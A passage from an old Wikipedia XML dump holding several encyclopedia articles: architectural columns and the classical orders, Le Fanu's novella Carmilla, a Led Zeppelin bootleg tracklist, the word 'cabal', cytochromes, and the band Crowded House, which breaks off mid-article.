A '''column''' in [[architecture]] and [[structural engineering]] is part of a structure whose purpose is to transmit through [[physical compression|compression]] the weight of the structure. Other [[compression member]]s are often termed columns because of the similar stress conditions. Columns can be either compounded of parts or made as a single piece. Columns are frequently used to support [[Beam (structure)|beam]]s or [[arch]]es on which the upper parts of walls or ceilings rest.

==History==
In the architecture of [[ancient Egypt]] as early as [[2600 BC]] the architect [[Imhotep]] made use of stone columns whose surface was carved to reflect the organic form of bundled reeds; in later Egyptian architecture faceted cylinders were also common.

Some of the most elaborate columns in the ancient world were those of [[Persian Empire|Persia]] especially the massive stone columns erected in [[Persepolis]]. They included double-bull structures in their capitals. [[The Hall of Hundred Columns]] at Persepolis, measuring 70 x 70 meters was built by the [[Achaemenid]] king [[Artaxerxes I]] (465-424). Many of the ancient Persian columns are standing.

The impost (or pier) is the topmost member of a column. The bottom-most part of the arch, called the springer, rests on the impost.

==The classical orders in Europe==
{{main|Classical order}}

The Roman author [[Vitruvius]], relying on the writings (now lost) of Greek authors, tells us that the ancient [[Hellenic civilization|Greeks]] believed that their Doric order developed from techniques for building in wood in which the earlier smoothed tree trunk was replaced by a stone cylinder. 

This myth of the transformation of wood into stone still causes controversy today - did the ancient Greeks invent columns this way for themselves, or did they imitate the stone construction of neighboring civilization?

===Doric order===
{{main|Doric order}}

The [[Doric order|Doric]], or Tuscan, order is the oldest and simplest of the classical order.  It is composed of a vertical cylinder that is wider at the bottom.  It generally has neither a base nor a [[Capital (architecture)|capital]].  It is often referred to as the masculine order because it is represented in the bottom level of the [[Colosseum]], and was therefore considered to be able to hold more weight. The height-to-thickness ratio is about 4:1.

[[Image:Ionic base of a column.jpg|thumb|Ionic base, the [[torus]] enriched with interlaced guilloche, at the [[Erechtheum]], Athens, [[421 BC|421]]-[[407 BC]].]]

===Ionic order===
{{main|Ionic order}}

The [[Ionic order|Ionic]] column is considerably more complex than the Doric.  It usually has a base and the shaft is often fluted (it has grooves carved up its length). On the top is a [[Capital (architecture)|capital]] in the characteristic shape of a [[scroll (parchment)|scroll]], called a [[volute]], at the four corners. The height-to-thickness ratio is around 6:1.

===Corinthian order===
{{main|Corinthian order}}

The [[Corinthian order|Corinthian]] order is named for the Greek [[city-state]] of [[Corinth, Greece|Corinth]], to which it was connected in the period.  However, according to the Greek architectural historian Vitruvius, the column was created by the sculptor [[Callimachus (sculptor)|Callimachus]], probably an [[Athens|Athenian]], who drew [[Acanthus (genus)|acanthus]] leaves growing around a votive basket. In fact, the oldest known Corinthian capital was found in Bassae, dated at [[427 BC]]. It is sometimes called the feminine order because it is on the top level of the Colosseum and holding up the least weight.  It is similar to the Ionic order, but rather than a scroll, the Corinthian capital consists of rows of [[Acanthus (ornament)|stylized acanthus leaves]].  Many variations have been made on the Corinthian [[Capital (architecture)|capital]].  For instance, the capitals of the Capitol building in [[Washington, DC]] are made up partially of wheat stalks.

==Notable columns==
* [[Persepolis]]'s columns
* [[Trajan's Column]]
* [[Monument to the Great Fire of London]]
* [[Nelson's Column]]
* [[Kolumna Zygmunta|Sigismund's Column]]
* [[Holy Trinity Column in Olomouc]]
* [[San Jacinto Monument]]

==See also==
{{commons|Column}}
* [[Forms in architecture]]
* [[Colonnade]]
* [[Persian column]]
* [[Pilaster]]
* [[Buckling]]
* [[Marian and Holy Trinity columns]]

[[Category:Architectural elements]]
[[Category:Architectural history]]
[[Category:Buildings and structures]]
[[Category:Structural engineering]]

[[ca:Columna]]
[[de:Säule]]
[[es:Columna (Arquitectura)]]
[[fr:Colonne (architecture)]]
[[nl:Zuil (bouwkunde)]]
[[it:Colonna (architettura)]]
[[ja:柱]]
[[lv:Kolonna]]
[[no:Søyle]]
[[pl:Kolumna (architektura)]]
[[pt:Coluna (arquitetura)]]
[[sv:Kolonn]]
[[fi:Pylväs]]</text>
    </revision>
  </page>
  <page>
    <title>Carmilla</title>
    <id>6921</id>
    <revision>
      <id>42118826</id>
      <timestamp>2006-03-03T23:12:30Z</timestamp>
      <contributor>
        <username>Katsuhagi</username>
        <id>840126</id>
      </contributor>
      <minor />
      <comment>/* Plot */</comment>
      <text xml:space="preserve">'''''Carmilla''''' is a novella by [[Joseph Sheridan le Fanu]]. First published [[1872]], it tells the story of a young woman's contact with a [[vampire]]. ''Carmilla'' predates [[Bram Stoker]]'s ''[[Dracula]]'' by over twenty years and had a strong influence on Stoker's famous novel. However, ''Carmilla'' was not the first [[vampire]] [[novel]] — both it and the considerably older ''[[The Vampyre]]'' by [[John William Polidori]] probably being too short to hold that title.
[[Image:carmilla.jpg|thumb|right|Illustration from ''The Dark Blue'' by D.H. Friston, 1872]]

==Publication==
''Carmilla'' was first published in the magazine ''[[The Dark Blue]]'' in [[1872]], and then in the author's collection of short stories, ''[[In a Glass Darkly]]'' the same year. The story ran in ''The Dark Blue'' in three issues; January (1872), pp. 592-606; February (1872), pp. 701-714; and March (1872), pp. 59-78. 

There were two original [[illustrators]] for the story, both of which appeared in the magazine but which do not appear in modern printings of the book. The two illustrators, D. H. Friston and M. Fitzgerald, show some inconsistencies in their depiction of the characters, and as such some confusion has been made in identifying the pictures as part of a continuous plot.

==Plot==
{{spoiler}}

A wealthy [[English people|English]] widower, retired from the Austrian Service, moves to a stately castle in [[Styria (state)|Styria]] with his daughter Laura. When she is six years old, Laura has a vision of a beautiful visitor in her bedchamber.  She later claims to have been bitten on the chest, although no wounds are found on her.

Twelve years later, Laura and her father are admiring the sunset in front of the castle when her father tells her of a letter he received earlier from his friend General Spielsdorf.  The General was supposed to bring his niece to visit the two, but the niece suddenly died under mysterious circumstances.  The General ambiguously concludes that he will discuss the circumstances in detail when they meet later.

Laura is saddened by the loss of a potential friend, and longs for a companion.  A carriage accident outside Laura's home unexpectedly brings a girl of Laura's age into the family's care. Her name is Carmilla.  Both girls instantly recognize the other from the 'dream' they both had when they were young.

Carmilla appears injured after her carriage accident, but her mysterious mother informs Laura's father that her journey is urgent and cannot be delayed.  She arranges to leave her daughter with Laura and her father until she can return in three months. Before she leaves she sternly notes that her daughter will not dispose any information whatsoever about her family, past, or herself and that Carmilla is of sound mind.  Laura comments that this information seems needless to say, and her father laughs it off.

Carmilla and Laura grow to be very close friends, but occasionally Carmilla's mood abruptly changes.  She sometimes makes unsettling romantic advances towards Laura. Carmilla refuses to tell anything about herself or her background, despite questioning from Laura.  Her secrecy isn't the only mysterious thing about her.  Carmilla sleeps much of the day, and seems to sleepwalk at night.  When a funeral procession passes by the two girls and Laura begins singing a hymn, Carmilla bursts out in rage and scolds Laura for singing a Christian song.  When a shipment of family heirloom portraits arrive at the castle, Laura finds one of her ancestor, [[Countess]] Mircalla Karnstein, dated two centuries before. The portrait resembles Carmilla exactly, down to the mole on her neck. 

During Carmilla's stay, Laura has nightmares of a fiendish cat-like beast entering her room at night and biting her on the chest.  The beast then takes the form of a female figure and disappears through the door without opening it.  Laura's health declines and her father has a doctor examine her.  He speaks privately with her father and only asks that Laura never be left unattended.  

Her father then sets out with Laura in a carriage for the ruined village of Karnstein.  They leave a message behind asking Carmilla and one of the governesses entreated to follow after once the perpetually late-sleeping Carmilla wakes up.  En route to Karnstein, Laura and her father encounter General Spielsdorf.  He tells them his own ghastly story.

Spielsdorf and his niece had met a young woman named Millarca and her enigmatic mother at a costume ball.  The General's niece was immediately taken with Millarca.  The &quot;Countess&quot; convinced the General that she was an old friend of his and asked that Millarca be allowed to stay with them for three weeks while she attended to a secret matter of great importance. 

The General's niece fell mysteriously ill and suffered exactly the same symptoms as Laura.  After consulting with a priestly doctor who he had specially ordered, the General came to the realization that his niece was being visited by a vampire.  The general hid in a closet with a sword and waited to see a fiendish cat-like creature stalk around his niece's bedroom and bite her on the neck.  He leapt from his hiding place and attacked the beast, who took the form of Millarca.  She fled through the locked door, unharmed.  The General's niece died immediately afterward.

When they arrive at Karnstein the General asks a nearby woodsman where he can find the tomb of Mircalla Karnstein, so that he may remove her head and end the nightmare.  The woodsman tells that the tomb was relocated long ago, by the hero who vanquished the vampires that haunted the region.  He goes to find his master who knows all the monuments of the Karnstein family.

While the General and Laura are left alone in the ruined chapel, Carmilla appears.  The General and Carmilla both fly into a rage upon seeing each other and the General attacks her with an axe.  Carmilla flees and the General explains to Laura that Carmilla is also Millarca, both anagrams for the original name of the vampire Countess Mircalla Karnstein.

The ordeal ends when the Countess's body is exhumed and destroyed.

==Influence==
Carmilla, the title character, is the original prototype for a legion of female (and often [[lesbian]]) vampires. Though Le Fanu portrays his vampire's [[sexuality]] with the circumspection that one would expect for his time, the reader can be pretty sure that lesbian attraction is the main dynamic between Carmilla and the narrator of the story. Carmilla selected exclusively female victims, though only became emotionally involved with a few.  Carmilla had [[nocturnal]] habits, but was not confined to the darkness. She had unearthly beauty and was able to change her form and to pass through solid walls. Her animal alter ego was a monstrous black cat, not a bat as in ''Dracula''. She did, however, sleep in a coffin.

Its setting is a parochial section of Styria state, [[Austria]]. As such it sets the standard for [[Gothic novel|Gothic]] vampire literature — a genre which is not usually dealt with, as vampire stories (such as ''Dracula'') lean more towards horror than Gothic or [[Romanticism#Art and Literature|romantic]] in style of writing. 

==Bram Stoker's ''Dracula''==
Although Carmilla is a lesser known and far shorter Gothic vampire story than the generally-considered master work of that genre, ''Dracula'', the latter is heavily and directly based upon Le Fanu's short story. Harry Ludlam has said that ''Dracula'' is &quot;the product of [Stoker's] own vivid imagination and imaginative research&quot;, it is clear that Stoker was heavily inspired by Carmilla and based his novel upon this.

In the earliest manuscript of ''Dracula'', dated 8 March, [[1890]], the castle is set in Styria, but the setting was changed to [[Transylvania]] six days later, showing that Stoker had full cognition of ''Carmilla'''s influence from the onset of his notes for ''Dracula''. However Stoker's posthumously published [[short story]], ''Dracula's Guest'' is known as the deleted first chapter to ''Dracula'', and shows a more obvious and intact debt to ''Carmilla'', and the setting of Styria remains unchanged. 

Both stories are told in the [[first person]]. ''Dracula'' expands on the idea of a first person account by creating a series of journal entries and logs of different persons and creating a plausible background story for them having been compiled. He also indulges the air of mystery far better than is executed in ''Carmilla'', by allowing the characters to solve the enigma of the vampire along with the reader. 

The descriptons of Carmilla and the character of Lucy in ''Dracula'' are similar, and have typified the now-stereotypical appearance of the waif-like victims and seducers in vampire stories as being tall, slender, languid, and with large eyes, full lips and soft voices. Both women also [[sleepwalk]], and Carmilla was described as a suicide.

Stoker's Dr. [[Abraham Van Helsing]] is a direct parallel to Le Fanu's Dr. Hesselius and Baron Vordenburg are also parallel characters, used to investigate and catalyse actions in opposition to the vampire, and symbolically represent knowledge of the unknown and stability of mind in the onslaught of chaos and death. (Baron Vordenburg also influenced ''Dracula's'' Lord Godlming.)

==Film and book adaptations==
''Carmilla'' has been the subject of a number of films. 

*Danish Director [[Carl Dreyer]] loosely adapted ''Carmilla'' for his [[1932]] film ''[[Vampyr]]''.
*French director [[Roger Vadim]]'s ''[[Et mourir de plaisir]]'' (literally &quot;And to die of pleasure&quot;, but actually shown in England as &quot;Blood and Roses&quot;) is based on ''Carmilla'' and is considered one of the greatest of the vampire genre. The Vadim film thoroughly explores the lesbian implications behind Carmilla's selection of victims, and boasts cinematography by [[Claude Renoir]].
*The British [[Hammer Film Productions]] also produced loose adaptations of ''Carmilla'' with its trilogy ''[[Lust for a Vampire]]'', ''[[Twins of Evil]]'' and ''[[The Vampire Lovers]]''. [[Ingrid Pitt]] appeared in these as the anagrammatically renamed ''Mircalla''. 
*In [[1974]] [[José Ramón Larraz]] created ''Vampyres'', which explored not only the erotic lesbian activity of the vampires, but the brutal, bloody vampire activity itself, which was usually not touched upon so heavily. As such the film was less Gothic and more of an horror film, extending the tale beyond the spectrum of the book. The characters Fran and Miriam (presumably named for 'Millarca') are similar to Laura and Carmilla.
*The animated film ''[[Vampire Hunter D|Vampire Hunter 'D':  Bloodlust]]'' includes a character named Carmilla who is the lingering spirit of a long-dead yet very powerful vampire countess who continues to rule her castle.
*In [[1998]] ''Carmilla'' was updated to present-day [[Long Island]], [[New York]] in a film of the same name. The film is the brainchild of Jay Lind, the writer, director, and producer for the film. Starring Maria Pechukas, Heather Warr and Andy Gorkey, and co-produced by Jeff Schelenker, Carmilla is a horrific, gory, erotic counterpart to the Gothic novel. While the film is in no way Gothic or romantic, it shows a different side of the story presented in the book.
*Though ''Carmilla'' was a seminal work for the genre of [[vampire fiction]], there is also a modern tale that directly incorporates Le Fanu's character. ''Carmilla: The Return'', written in [[1999]] by Kyle Marffin, begins in [[19th century|19th-century]] Austria but follows Carmilla's life into [[1990s]] [[Michigan]].
*Carmilla appears as the bride of Dracula in the direct-to-DVD animated movie [[The Batman Vs. Dracula]].

==External links==
*{{gutenberg|no=10007|name=Carmilla}}
* ''Carmilla: The Return'' by Kyle Marffin: ISBN 1891946021

[[category:1872 books]]
[[Category:Vampires in written fiction]]
[[Category:Gothic novels|Gothic novels]]
[[Category:Fictional vampires]]

[[de:Carmilla]]</text>
    </revision>
  </page>
  <page>
    <title>Clitoridectomy</title>
    <id>6922</id>
    <revision>
      <id>22360594</id>
      <timestamp>2005-09-01T23:05:26Z</timestamp>
      <contributor>
        <username>Wouterstomp</username>
        <id>126881</id>
      </contributor>
      <comment>changed to redirect to Female genital cutting</comment>
      <text xml:space="preserve">#REDIRECT [[Female genital cutting]]</text>
    </revision>
  </page>
  <page>
    <title>Cabala</title>
    <id>6923</id>
    <revision>
      <id>41993018</id>
      <timestamp>2006-03-03T02:24:18Z</timestamp>
      <contributor>
        <username>Shotgun mario</username>
        <id>1020884</id>
      </contributor>
      <text xml:space="preserve">'''Cabala''' is also a Led Zeppelin Bootleg containing a vast amount of rarities and outakes. It is made of 4 albums, each containing two disks for a total of eight.

==Disc 1==

#I’m Confused  
#Train Kept A Rollin’ 
#She Just Satisfies
#Keep Movin’
#You Better Run
#Everybody’s Gonna Say
#Our Song
#Long Time Coming
#I’ve Got A Secret
#Goodnight Sweet Josephine
#Think About It 
#Hey Hey What Can I Do
#Psychodasies 
#Happenings Ten Years Times Ago
#Stroll On
#My Babe Left Me
#A Certain Girl
#Leave My Kitten Alone
#Surprise Surprise
#How Do You Feel
#Jim’s Blues
#Traveling Riverside Blues
#You Shook Me
#The Girl I Love


==Disc 2==

#Whole Lotta Love 
#Something Else 
#You Can’t Judge a Book By the Cover (Killing Floor) 
#Babe I’m Gonna Leave You 
#Pat’s Delight 
#How Many More Times Jam 
#Communication Breakdown 
#As Long As I Have You Jam


==Disc 3==
#Organ Solo/Thank You 
#Bring It On Home 
#Friends 
#Friends
#That’s The Way 
#Friends 
#Hey Hey What Can I Do 
#Instrumental Jam
#Immigrant Song 
#Heartbreaker 
#Black Dog 
#Stairway to Heaven 
#Goin’ To California 


==Disc 4==
#That’s The Way 
#What Is and What Should Never Be 
#That’s the Way 
#Blues Medley 
#Since I’ve Been Loving You 
#That’s the Way 
#Blues Medley 
#Since I’ve Been Loving You 
#No Quarter instrumental rehearsal 
#No Quarter
#Dazed and Confused 
#Celebration Day 


==Disc 5==
#Whole Lotta Love 
#Dancing Days 
#The Song Remains The Same 
#Rain Song 
#The Light Bearer 
#Take Two 
#Take Three 
#Take Four 
#Take Five 
#Take Six 
#Take Seven 
#Take Eight 


==Disc 6==
#Schooldays 
#Nadine 
#Around and Around 
#Move on Down the Line 
#Love Me Like a Hurricane 
#Move It 
#Dynamite 
#Shakin’ All Over 
#Hungry For Love 
#I’ll Never Get Over You 
#Reelin’ and Rockin’ 
#Strawberry Jam I 
#Strawberry Jam II 
#Wanton Song 
#The Rover I 
#The Rover II 
#Night Flight I 
#Night Flight II 
#Night Flight III 
#Rock and Roll 
#Sick Again 
#Over the Hills and Far Away 
#In My Time of Dying 


==Disc 7==
#All My Love 
#Since I’ve Been Loving You 
#Ten Years Gone 
#Black Country Woman 
#Bron-Y-Aur Stomp 
#White Summer  
#Kashmir 
#Trampled Underfoot 
#Achilles Last Stand 
#Money 
#Hot Dog 
#Train Kept-A-Rollin’ 
#Nobody’s Fault But Mine 


==Disc 8==
#Whole Lotta Love 
#Kashmir 
#Heartbreaker 
#Whole Lotta Love 
#Misty Mountain Hop 
#Stairway to Heaven 
#Black Dog 
#In the Evening 
#Rain Song 
#Since I’ve Been Loving You 
#Rock and Roll

==See also==
* [[Led Zeppelin]]
* [[A Tree Full Of Secrets]] - Pink Floyd

==Other Spellings==
'''Cabala''' is also a variant spelling of:

* Gabala ([[Jabala]]), a Christian city in Syria during the Middle Ages

* [[Kabbalah]], the religious mystical system of Judaism

* [[Karbala]], a city in Iraq that is holy to Shiite Muslims</text>
    </revision>
  </page>
  <page>
    <title>Cabal</title>
    <id>6924</id>
    <revision>
      <id>41935311</id>
      <timestamp>2006-03-02T19:05:26Z</timestamp>
      <contributor>
        <ip>38.118.73.78</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

A '''cabal''' is a number of persons united in some close design, usually to promote their private views and interests in a [[church]], [[state]], or other community by [[Wiktionary:intrigue|intrigue]].  Cabals are [[secret organization]]s composed of a few designing persons; a political cabal is often called a  [[junta]]. The term can also be used to refer to the designs of such persons.  The term also holds a general meaning of intrigue and conspiracy. Its usage carries strong connotations of shadowy corners and insidious influence; a cabal is more evil and selective than, say, a faction, which is simply selfish. Because of this negative connotation, few organizations use the term to refer to themselves or their internal subdivisions.  Among the exceptions is [[Discordianism]], in which the term is used to refer to an identifiable group within the Discordian tradition.

The term cabal derives from [[Kabbalah]] (which has numerous spelling variations), the mystical interpretation of the [[Hebrew language|Hebrew]] scripture, and originally meant either an occult doctrine or a secret.

The term took on its present insidious meaning from a group of ministers of King [[Charles II of England]] ([[Thomas Clifford, 1st Baron Clifford of Chudleigh|Sir Thomas Clifford]], [[Henry Bennet, 1st Earl of Arlington|Lord Arlington]], the [[George Villiers, 2nd Duke of Buckingham|Duke of Buckingham]], [[Anthony Ashley Cooper, 1st Earl of Shaftesbury|Lord Ashley]], and [[John Maitland, 1st Duke of Lauderdale|Lord Lauderdale]]), whose initial letters coincidentally spelled Cabal, and who were the signers of the public [[Treaty of Dover]] which allied England to France in a prospective war against the Dutch.  It must be said, however, that the so-called [[Cabal Ministry]] can hardly be seen as such - the Scot Lauderdale was not much involved in English governance at all; while the Catholic ministers of the Cabal, Clifford and Arlington, were never much in sympathy with the Protestants, Buckingham and Ashley, nor did Buckingham and Ashley get on very well among themselves.  Thus, the &quot;[[Cabal Ministry]],&quot; never very unified in its members' aims and sympathies, fell apart by [[1672]]; Lord Ashley, who became Earl of Shaftesbury, still later even became one of Charles II's fiercest opponents. The explanation that the word originated as an [[acronym]] from the names of the group of ministers is a [[folk etymology]], although the coincidence was noted at the time.  The group, who came to prominence after the fall of Charles's first prime minister, [[Edward Hyde, 1st Earl of Clarendon|Lord Clarendon]], in [[1667]], was rather called the Cabal because of its secretiveness and lack of responsibility to the &quot;Country party&quot; then out of power.

In [[1777]] a supposed conspiracy, known as the &quot;[[Conway Cabal]],&quot; took place. A series of criticisms of [[General]] [[George Washington]]'s leadership abilities as commander-in-chief during the [[American Revolution]] has been taught as a cabal, but little evidence exists for it being an actual conspiracy.

During the rise of [[Usenet]], the term gained great notice as a semi-ironic description of the efforts of people to maintain some order over the chaotic, anarchic Usenet community; see [[backbone cabal]], [[There is no Cabal]]. As in this specific case, references to an alleged cabal often fall within the realm of the [[conspiracy theory]].

One recent example of the use of the word Cabal came in an accusation by former [[Secretary of State]] [[Colin Powell|Colin Powell's]] chief of staff, [[Lawrence Wilkerson]], who claimed that the [[George_W._Bush_administration|Bush administration's]] foreign policy is run by a &quot;Cheney-Rumsfeld cabal&quot; demonstrating evil intent (See [http://www.nytimes.com/2005/10/21/politics/21wilkerson.html?incamp=article_popular]).

Currently on the [[Comedy Central]] program [[The Daily Show]], the phrase &quot;A global cabal of Jews&quot; is referenced from time to time. It's meant as a spoof on the [[Protocols of the Elders of Zion]], which claimed that a secret Jewish society is lurking to disempower non-jews, especially Whites. This theory was one of the inspirations for [[Nazi]] atrocities against Jews leading up to WW2 and is a recurring theory in many communist, racist, and islamic extremist groups.

The existence or otherwise of cabals has led to the [[Internet meme]] originating on [[Usenet]], &quot;TINC&quot; (standing for [[There Is No Cabal]]).

==See also==
Other negative words that arose from descriptions of religious extremism or religious sects include:
:* [[Zealot]]
:* [[Thug]]
:* [[Assassin]]

[[Category:Secret societies]]

[[simple:Cabal]]</text>
    </revision>
  </page>
  <page>
    <title>Cytochrome</title>
    <id>6925</id>
    <revision>
      <id>34686078</id>
      <timestamp>2006-01-11T00:35:02Z</timestamp>
      <contributor>
        <username>Julzreb</username>
        <id>774832</id>
      </contributor>
      <minor />
      <comment>adding links</comment>
      <text xml:space="preserve">'''Cytochromes''' are generally membrane-bound [[protein]]s that contain [[heme]] groups and carry out [[electron transport]] or catalyse [[redox|reductive/oxidative]] reactions.  They are found in the [[mitochondrion|mitochondrial]] inner membrane and [[endoplasmic reticulum]] of [[eukaryote]]s, in the [[chloroplast]]s of plants, in [[photosynthesis|photosynthetic]] [[microorganism]]s, and in [[bacterium|bacteria]].

The [[heme]] group is a highly conjugated ring system (which means its [[electron]]s are very mobile) surrounding a metal ion, which readily interconverts between the oxidation states.  For many cytochromes the metal ion present is that of ''[[iron]]'', which interconverts between Fe&lt;sup&gt;2+&lt;/sup&gt; (reduced) and Fe&lt;sup&gt;3+&lt;/sup&gt; (oxidized) states ([[electron transfer|electron-transfer]] processes) or between Fe&lt;sup&gt;2+&lt;/sup&gt; (reduced) and Fe&lt;sup&gt;5+&lt;/sup&gt; (formal, oxidized) states (oxidative processes). Cytochromes are thus capable of performing [[redox|oxidation and reduction]]. Because the cytochromes (as well as other complexes) are held within membranes in an organized way, the redox reactions are carried out in the proper sequence for maximum efficiency.

In the process of [[oxidative phosphorylation]], which is the principal energy-generating process undertaken by organisms which need oxygen to survive, other membrane-bound and soluble [[complex (chemistry)|complex]]es and [[cofactor]]s are involved in the chain of redox reactions, with the additional net effect that protons (H&lt;sup&gt;+&lt;/sup&gt;) are transported across the mitochondrial inner membrane.  The resulting [[Chemiosmotic potential|transmembrane proton gradient]] (protonmotive force) is used to generate [[adenosine triphosphate|ATP]], which is the universal chemical energy currency of life.  ATP is consumed to drive cellular processes that require energy (such as rotation of [[flagellum|flagella]], transport of molecules across the membrane, and synthesis of macromolecules).

Several kinds of cytochrome exist and can be distinguished by spectroscopy, exact structure of the heme group, inhibitor sensitivity, and reduction potential: 

*[[Cytochrome_c_oxidase|Cytochrome ''a'']]
*[[Cytochrome_c_oxidase|Cytochrome ''a'']]&lt;sub&gt;3&lt;/sub&gt;
*[[Coenzyme Q - cytochrome c reductase|Cytochrome ''b'']]
*[[Cytochrome_c|Cytochrome ''c'']]
*[[Coenzyme Q - cytochrome c reductase|Cytochrome ''c''&lt;sub&gt;1&lt;/sub&gt;]]
*[[Cytochrome f|Cytochrome ''f'']]

See the articles on [[mitochondrion|mitochondria]] and [[chloroplast]]s for more information on [[Electron_transfer_chain|electron transport]] and related metabolic pathways. See [[cytochrome P450 oxidase]] for more on steroidogenesis and detoxification enzymes.

[[de:Cytochrom]]
[[fr:Cytochrome]]
[[he:ציטוכרום]]
[[ja:&amp;#12471;&amp;#12488;&amp;#12463;&amp;#12525;&amp;#12512;]]
[[pl:Cytochrom]]

[[Category:Hemoproteins]]</text>
    </revision>
  </page>
  <page>
    <title>Crowded House</title>
    <id>6927</id>
    <revision>
      <id>41849363</id>
      <timestamp>2006-03-02T03:25:00Z</timestamp>
      <contributor>
        <ip>172.145.128.239</ip>
      </contributor>
      <comment>Deleting redundant (and incomplete!) album info already found on indvidual album pages</comment>
      <text xml:space="preserve">'''Crowded House''' was an [[Australia]]n/[[New Zealand]] [[rock group]] between [[1986]] and [[1996]]; two original members were from Australia and one was from New Zealand.  Their notable hits include &quot;Don't Dream It's Over&quot;, &quot;Something So Strong&quot;, &quot;Better Be Home Soon&quot;, and the [[The Byrds|Byrds]]-influenced &quot;Weather with You&quot;. 
{{Infobox_band |
| band_name         = ''Crowded House''
| image             = [[image:ch1.jpg |200px]]
| years_active      = [[1985]] - [[1996]]
| country           = [[Australia]] 
| music_genre       = [[Rock (music)|Rock]], [[Pop music|Pop]]
| record_label      = [[Capitol Records]]
|}}

==Members==
Performing in the [[1980s]] and [[1990s]], the group was based around the songwriting and vocal talents of New Zealand born lead singer, composer and guitarist [[Neil Finn]]. Members of the band included [[Tim Finn]] (Neil's brother) in [[1990]]&amp;ndash;[[1991|91]], bassist [[Nick Seymour]], [[Paul Hester]] (1986&amp;ndash;[[1994]]), session musician and [[Supertramp]] recruit [[Mark Hart]] ([[1993]]&amp;ndash;1996) and session drummer [[Peter Jones (drummer)|Peter Jones]] (1994&amp;ndash;1996).

==History==
The group had important connections in the Australian and New Zealand rock scenes. Neil Finn and Paul Hester were former members of the [[New Zealand]] rock band [[Split Enz]]; Neil is the younger brother of Split Enz founding member Tim Finn. Nick Seymour was the younger brother of singer-songwriter-guitarist [[Mark Seymour]], leader of Australian rock group [[Hunters &amp; Collectors]]. 

The first incarnation of the band in [[1985]], [[The Mullanes]], was a 4-piece formed in [[Melbourne, Australia]], which also included guitarist [[Craig Hooper]], formerly of [[The Reels]]. They secured a record contract with [[Capitol Records]] and moved to Los Angeles, at which time Hooper left the band. At the label's behest, the band changed their name to &quot;Crowded House,&quot; which alluded to the cramped quarters the three members shared at 1902 N. Sycamore St. in [[Los Angeles]] during the recording of the album.  They also invited former Split Enz keyboard player [[Eddie Rayner]] to join. He declined, but he produced the track &quot;Can't Carry On&quot; for the album.

===''Crowded House'' (1986)===
The band had a built-in Australian audience waiting to see what was next for the Split Enz alumni. 1986 saw Crowded House play a few festival shows in Australia and New Zealand. They released their eponymous debut, ''[[Crowded House (album)|Crowded House]]'', in the summer. [[Capitol Records]] did not see any immediate promise for the band, and promotion for the album was lacking. Faced with an uphill battle to get the word out for their efforts, the band played small venues to vie for attention. Word slowly got out, and the song &quot;Don't Dream It's Over&quot; was released as a single in December; it became a massive international hit. The video for the single was mostly autobiographical, showing the houses in which the band members occupied on their way to the &quot;crowded house&quot; that they rented in Los Angeles during their album's production. &quot;Don't Dream It's Over&quot; reached #2 in the United States, and the video earned the group the [[MTV Video Music Award for Best New Artist]] in [[1987]]. The song has since been rereleased by artists such as [[Paul Young]] (1998) and [[Sixpence None The Richer]] (2003). 

On the strength of the single, their album wound up selling well. &quot;Something So Strong&quot; was the second single from the album, and it was also a successful release. &quot;World Where You Live&quot; also saw some airplay in the US, and &quot;Now We're Getting Somewhere&quot; charted in other countries.

===''Temple of Low Men'' (1988)===
As primary songwriter for the group, Neil was now under pressure to create a second album that matched the success of his band's debut. ''[[Temple of Low Men]]'' was released to great fanfare along with the single &quot;Better Be Home Soon.&quot; Other highlights of this album were &quot;I Feel Possessed&quot; and &quot;Sister Madly,&quot; the latter a raucous singalong when played in concert. Although critics were impressed, the album was not as accessible as their debut. Specifically, the public was not expecting the first single to be an acoustic song with [[country music|country]] roots and it set the stage for disappointing album sales. The label quickly pulled promotion for the album yet again, and Crowded House had effectively disbanded in frustration after a short tour of Australia and [[Canada]].

===''Woodface'' (1991)===
Faced with some time off, Neil began writing some songs with his brother Tim for an album they were considering to release under the name &quot;Finn.&quot; The sessions yielded enough songs for an album, but Neil offered to have Tim join Crowded House and record some of these songs with a full band. Tim agreed, and the band soon wound up in the studio again. 

''[[Woodface]]'' was released in July 1991, and it featured seven songs written jointly by &quot;Finn/Finn.&quot; The other seven tracks were Neil compositions. &quot;Chocolate Cake&quot; was released as the first single, and it sealed the fate of the band in America. The song was a scathing comment on American excesses, and it was not taken well by critics or the public in the country. 

The album sold well internationally, especially in the UK. The band was at the pinnacle of its creative output, and the songs &quot;Weather With You&quot; and &quot;Fall At Your Feet&quot; became signature songs for the band. During the supporting tour for ''Woodface'', Tim Finn left the band to further pursue his solo career.

===''Together Alone'' (1993)===
For their next album, ''[[Together Alone]]'', Crowded House recruited multi-instrumentalist Mark Hart of [[Supertramp]] to join the band.  Producer [[Youth (producer)|Youth]] helmed the sessions in [[Kare Kare]] Beach, New Zealand. (The opening song of the album is named after the area.) The album sold well internationally upon release in October 1993 (except in the US) on the strength of &quot;Distant Sun&quot; and the haunting &quot;Private Universe.&quot; The song &quot;Locked Out&quot; actually charted in the United States, reaching a Top 20 chart position, after appearing on the soundtrack for the film ''[[Reality Bites]]''. 

The band toured Europe and had begun a series of dates in the United States when drummer Paul Hester left the band, requesting more time with his family. Although they finished the tour with session drummer Peter Jones, Neil's heart was not in the work. Following the tour, he decided to work with Tim on their joint album and plan for a solo career. The band officially dissolved shortly after the release of &quot;Finn&quot; in 1995.

''[[Recurring Dream]]'', a career-spanning collection of greatest hits and a few new songs, was released in June 1996 and went straight to #1 on the Australian and UK record charts.

===''Farewell to the World'' (1996)===
On the strength of ''Recurring Dream'', Neil decided that the band should have a proper send-off, with one last concert. All original members, including Paul Hester, were on board. On November 24, 1996, Crowded House played its last show at the [[Sydney Opera House]] in front of a crowded house of almost 100,000. Proceeds from this concert supported the [[Sydney Children's Hospital]].

''[[Afterglow (Crowded House album)|Afterglow]]'', an album of formerly rare and unreleased recordings was released in [[1999]].

==Songwriting and influences==

The group's output was mainly [[folk music|folk]]-influenced [[pop music|pop]]-[[rock and roll|rock]] in a decidedly [[Beatles]] vein, but Finn's songwriting skills made them stand out from similar bands. By far they are New Zealand's most internationally-successful pop musicians. ''Together Alone'' featured some [[Māori]] influenced music, and the lyrics to &quot;Pineapple Head&quot; began when Neil's son [[Liam Finn|Liam]] started talking nonsense while he was suffering with a high fever.

==Post-Crowded House careers==   
* Neil Finn embarked on a successful solo career, and Tim Finn has resumed his, although they have continued to work together and have recorded a total of two [[Finn Brothers]] albums as of [[2004]]. 
